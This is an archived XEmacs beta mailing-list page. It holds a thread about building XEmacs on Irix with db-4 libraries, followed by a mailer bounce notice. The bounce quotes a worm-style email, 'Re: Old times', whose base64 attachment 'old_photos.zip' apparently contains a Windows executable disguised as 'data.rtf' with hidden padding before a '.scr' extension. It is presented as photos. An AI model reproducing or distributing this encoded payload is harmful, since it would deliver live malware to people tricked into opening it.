(8.11.6p2/8.9.1) with ESMTP id i3RDqos13825; Tue, 27 Apr 2004 09:52:50 -0400 Received: from chorus.teradyne.com (chorus.teradyne.com [131.101.1.195]) by rent.teradyne.com (8.8.8+Sun/8.8.8) with ESMTP id JAA24162; Tue, 27 Apr 2004 09:52:46 -0400 (EDT) Received: from kiki.icd.teradyne.com (kiki.icd.teradyne.com [131.101.10.126]) by chorus.teradyne.com (8.8.8+Sun/8.7.1) with ESMTP id JAA13611; Tue, 27 Apr 2004 09:52:54 -0400 (EDT) Received: from denver.icd.teradyne.com (denver [131.101.18.106]) by kiki.icd.teradyne.com (8.9.3+Sun/8.9.3) with ESMTP id JAA16802; Tue, 27 Apr 2004 09:53:48 -0400 (EDT) Received: (from shelton@localhost) by denver.icd.teradyne.com (8.11.6+Sun/8.11.6) id i3RDqjK05442; Tue, 27 Apr 2004 09:52:45 -0400 (EDT) X-Authentication-Warning: denver.icd.teradyne.com: shelton set sender to acs@xemacs.org using -f To: Deborah Ortiz Cc: Max Matveev , "Stephen J. Turnbull" , xemacs-beta@xemacs.org Subject: Re: Building xemacs-21.4.15 on Irix 6.5.17m References: <408D5DA8.8070506@lanl.gov> <408D8E7B.2030700@lanl.gov> <87pt9ugrre.fsf@tleepslib.sk.tsukuba.ac.jp> <408E6235.20700@lanl.gov> From: Vin Shelton Organization: The XEmacs Development Team Date: Tue, 27 Apr 2004 09:52:45 -0400 In-Reply-To: <408E6235.20700@lanl.gov> (Deborah Ortiz's message of "Tue, 27 Apr 2004 07:37:57 -0600") Message-ID: <5457jw1a5oy.fsf@xemacs.org> Lines: 32 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Deborah Ortiz writes: > I have built this on solaris 7, 8 and 9 and linux > with db-4. I will try making sure I am using the db-4 > libs and not one of irix's many others and see what happens. > > Thanks everyone, > Debbie > > > Max Matveev wrote: >>>>>>>"stephen" == Stephen J Turnbull writes: >> >>>>>>>"vin" == Vin Shelton writes: >> vin> How about adding --with-database=no instead? I'm not >> vin> absolutely certain we support db-4. >> stephen> "Works for me", it does, but "support", no. We don't have >> anybody >> stephen> currently who understands that stuff. >> FWIW, Irix has several instanses of libdb.so so it's quite possible >> that you just hit the wrong library then then one which was used >> during the build (I didn't get the original mail from Deborah). >> max Deborah, I'm sorry I wasn't more clear - I still think that building with threads is the problem, and so I proposed removing building without database support. I think you should try whatever you have to in order to build without threads. - Vin From MAILER-DAEMON@tux.org Tue Apr 27 13:27:47 2004 Received: from amailc.charmingcommerce.com (amailc.charmingcommerce.com [208.35.202.31]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3RHRKs01479 for ; Tue, 27 Apr 2004 13:27:20 -0400 Message-Id: <200404271727.i3RHRKs01479@gwyn.tux.org> Date: Tue, 27 Apr 2004 13:26:59 -0400 Reply-to: amail@charminginteractive.com, CA-email@charmingstores.com From: "LSMTP for Windows NT v1.1b" Subject: Undelivered mail To: xemacs-beta-archive@xemacs.org X-Report-Type: Nondelivery; boundary="> Error description:" An error was detected while processing the enclosed message. A list of the affected recipient follows. This list is in a special format that allows software like LISTSERV to automatically take action on incorrect addresses; you can safely ignore the numeric codes. --> Error description: Error-for: 1792408.452@mail2.lanebryant.com Error-Code: 0 Error-Text: Message could not be delivered to mailer "mail2.lanebryant.com" after 4.00 day(s) and has been discarded. Error-End: One error reported. ------------------------------ Original message ------------------------------ Received: from mail2.lanebryant.com (24.201.146.22) by amailc.charmingcommerce.com (LSMTP for Windows NT v1.1b) with SMTP id <0.008302FD@amailc.charmingcommerce.com>; Fri, 23 Apr 2004 13:26:36 -0400 From: xemacs-beta-archive@xemacs.org To: 1792408.452@mail2.lanebryant.com Subject: Re: Old times Date: Fri, 23 Apr 2004 13:19:08 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Have a look at these. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="old_photos.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="old_photos.zip" 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 J9oOArHrNARSPjPNMMeOtER15qgV4jwsWOq31eHZvmA0koklzjuoGhCHod4wemTB4wzFKQpz qXp3VKR96SsgqRre2wuB3YnPCd0mxvApN7YTvbd16K/MJEe803nLEivqoFrfGcKRQ/D4zeDt SNDHZtG+LztVK5z1v5QcI8EdpkC0PMCJUcT8f8PDneWBBxgTQLfXhjGoAcP+bM6BxQ7GPFKu KEUiRdZniufvAoLZmdeYXQdmU2u7K7van3I5u1bTmT79KcwVCV4aMpWS70tGDMhLP3vJfVrz 79okys1e681oUIOnx/GuUcMm9hL27/9kHwj9c66KNfVt4KI58JDifLHwMuQqbKiuXMCvT2Vk adqoefwzwdKvyq9T218y9iW4wHrM0VClcP1dgz8D+xQhYouweUX1MOsLWU4fySYxPffN2hDw aCAB9ct7ScycxAvEy8BefEFPm9GhmofjbQzD8CFbmA9ffYNIxSTyVaqV9blmtzFwDie9oEng HFHbhvRQJ4CeCpoH7+3NQv7XGRunkE9aeooQRogdS3YRepB5Ylt2vHmKTl8E3e5GSe1GvHM/ KiqRLPa9v+v9RkuKrNt/WiDq9Yj+IEMJcB/1Sf0lPED1cG647FKUmb6SS4LAd5R7lJJ2RiY2 j59eDWrl+6v14vjfNYWZ5mQgSz5RO3YnbLGxvqXejgxPVIjIFQWDTXzQqpC4e09lZUVGYid3 LXWWmEsXlLHTkmih4CyBtHImvdRWbLY6sql6Sf1jodqq7k3QS6Iv5MbL46CYBuQm00g5RKom 5lP7XFE2Dt5aE1QIbD7f2XQ7tD/xnXK0kGz7kM5TqLgMb487OWhfaJImYW5kYY5PG7V4mWkY bp+DCeaGDtUj60xnQH/wiWeh90Kq8wRdwf1farLt8dmX6TChgZDevghoKFNmIJXlcxe+xFik 